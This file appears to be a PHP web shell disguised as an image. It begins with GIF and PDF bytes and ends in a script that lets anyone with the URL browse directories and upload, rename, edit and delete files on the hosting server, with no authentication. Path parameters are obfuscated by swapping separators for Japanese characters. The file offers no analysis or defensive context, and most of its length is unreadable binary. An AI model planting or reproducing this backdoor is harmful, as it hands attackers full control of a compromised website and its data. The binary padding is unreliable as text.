GIF89a=( ' 7IAXKgNgYvYx\%wh&h}th%s%x}9R&0% (.5SD&a)x5;ͣ*ȡ&ղ)ׯ7׵<ѻ43H֧KͯTYaqqF ! ' ! NETSCAPE2.0 , =( pH,Ȥrl:xШtJZجvzxL.:zn|N~& !0`9R}""a:S~xgEREB ȸD"Ů HLD٫DBDTH GA Rڐ | ٭&E8SkGApxa R2XBE8I6X:vT)~q賥"F~%x 4#Z0O|-4BsX:= Q SalyXJ`GȦ|s hK3l7B|$'7Jީܪ0!Dn=P 0`Rljv>5 .69ϸdnlv9f{Pbx l5}p 3aIO!ܾi9#)pa ޽ {)vm%D~ 6fs}ŒDW E`! &L8x ܝ{)x`X/>}mR*|`D=_ ^5 !_&'aO7c`DCx`¥9YF`?" n@`} lď@4>d S vxN"@~d=gs~G ud &p8Q)ƫlXDA~HySunjk*DLH] C"JXb~ʪwSt}6K,qS:9ت:l@` .۬t9S[:=`9N{¿A !R:6x0_ ;^#!U;0L1p% AU̬ݵ%S!~`G =4np3uuٮ|%2Ir#0J``8@S@5 ^`8E].S7 0j SD ziS!lw9*DInEX &AGoQfF;}JF5Q|XTy] o C=:PB@ D׽S(>Cx}`xJЬ۠p+eE0`}`A /NE 9@ H7!%B0`l*!8 2% :10Eux%nP1!C)P81lɸF#Ƭ{B0> b`O3()yRpbE.ZD8H@% Rx+%c fbd`F"8XH"-|16iI, 2$+](A*j QTo0.U`R}`SNyaebo~ S)y@3 tT0&+~Lf"-|~>!v~\Q1)}@}h#aP72"$ ! " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}th%g+s%r.m3ax3x}9&+!70% (.SD&;"&ײ)׻46K @pH,Ȥrl:xШtJZجvzxL.:zn|N~& !0`9R}""a:S~xg E  E ´CǶRD"ƷʱHMGڬDBDTGCC l&~:'tU6ɹ#)'.6&Ȼ K(8p0N?!2"NIJX>ROM '2*x>#n @<[:If TCdb[}E5MBo@`@tW-3 xBjI&E9[T&$ﯧ&"sȳdcUUρ#ldj?`\}u|3'R]6 S#!FKL*N E`$:eYDq.촁s \-jA 9-M[x(sx|p}kTDpE@W ]k`1 Yb 0l*n0"~zBd~u70Bl0-x~|UU0 h*HS|e"#"?vpi`e6^+q`m8 #V VS|`"m"сSn|@:U~`pbGED2FI? >x R %~jx<a9ij2D&: Z`]w:6B7eFJ|ҧ,FǮcSʶ+B,ܺN>PADHD~n}# QS2X{klQ2w|2 h9G,m36-ELI³*Kq`DwVQXSpeS qܧTSRu L S`0S]P^p F<""?!,!N4&P :T@h9%t:-~I<`9p I&.)^ 40D#p@j4ج:01rܼF2oW#Z ;$Q q  KNl#29 !F@BhᏬL!XFLHKh.hE&JG<"WN!Y@ >R~19J"2,/ &.GXB%R9B6W]WI$9RE8Y "A5Q.axB&ةJ! t)K%tS-JF bNMxL)R"6O!THH 0 ! ) , =( &AXKgNgYvYxR"k\%wh&h}h%g+s%r.x3x}9&+R,!70% (.5&a);"&ף*Ȳ)ׯ7׻436H֧KͻHTYqh pH,Ȥrl:xШtJZجvzxL.:zn|N~& !0`9R}""a:S~xg E$ $E$"D RC E HMGD BϾDa`1rӐ o~zU!LC'yWUGtll0uG)As[x xO%X2  Pn:R/aHae+Dm?# ǣ68JxDiMj5oQ7- <! *lR2r/a!l)d A"E & ;c %bpe~C"BHeF2`8qbt_`ur`e wu3Pvh""`ÍxLĹ3 ~ֺ:MDfJ ۵W%SX ؁)@:EwuSxb8y\mzSZbELw!y(>"w=|sd CW)HcC$L 7r.\{)@`@ X$PD `aaG:O72Eamn]"RcxR &dR8`gixLR!P &dTi|_  Qi#`g::noM :V )pW&a=ek j1߲sxWjal|0B0, \j۴:6C W|9zĸV {;nVmI.PN C+ByѾHŸ: 7YFTkSaoaY$DS29Rkt f :Sp3IDZ 9gu*3)O[_hv ,Et xBH [64M@SM7dlܶ5-U܍zR3Ԭ3~ P5g: kN&0j4#{3S2K'ợl2K{ {۶?~m𸧠InE='^_=~#O'o..YnCSOaKo,b{C "{K wOzdը:$ v] A# az)Rx׿ƥd``w-yfK!|P=`(f'Pa BJa%f%`}F6>`G"}=!o`^FPةQC`(}\ݮ $jK # D:c?:R ӬfI-"<="73Sc2RW ,8(T"P0F¡Jh" ; %PDF-1.3 %âãÏÃ※ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xϴ\mo7þ ÿa?îâÃ㊣H£Ã&ÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþýÂ㏑½ÂŽvÂ﹞EÛízF¢HI|HÂ&ç?¿{Ø|Z|X|Ã﹞ÝÃ㊣ó‡‡õÇËó³Ã#‡ã77Û?O¾Ýž¿__l®Ã〞››ëãßOàÃ&77Ã∫wß¿xÃ㊣êåâÃ#Ã㏑Ã※'Ç?ªÃ#Â~8ùôôI] µûgQ»çB©¦2zaà³]œlÝûÃ#|üôôÃ㏑‡åÛ՟‹Â※?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  îa=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N qŠf ^ u>那 $k﹞( H l迄EW o W  %l d] 6 ] - L  > 9 t* y 4¿ b 5 Q\ \Öv U  2c 3  c qMË= |  IT: S œ |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " Õ3 }$jH q w bx B" < 5b }%Š+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx¢.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f¬d v*  ' i 豕 G j * cBç zi  _  j z[ 7; 2 -  zZ  f V ® z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3邦 lç ]u b-5 Fwm z zp)M ) jO qÅ u q  E K l 7  [[ y Xg e ~ , 9 Ý k; +ny  )s=9) î u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   wŠ e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, È 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("あ", "る", "私", "た"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("あ", "る", "私", "た"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?>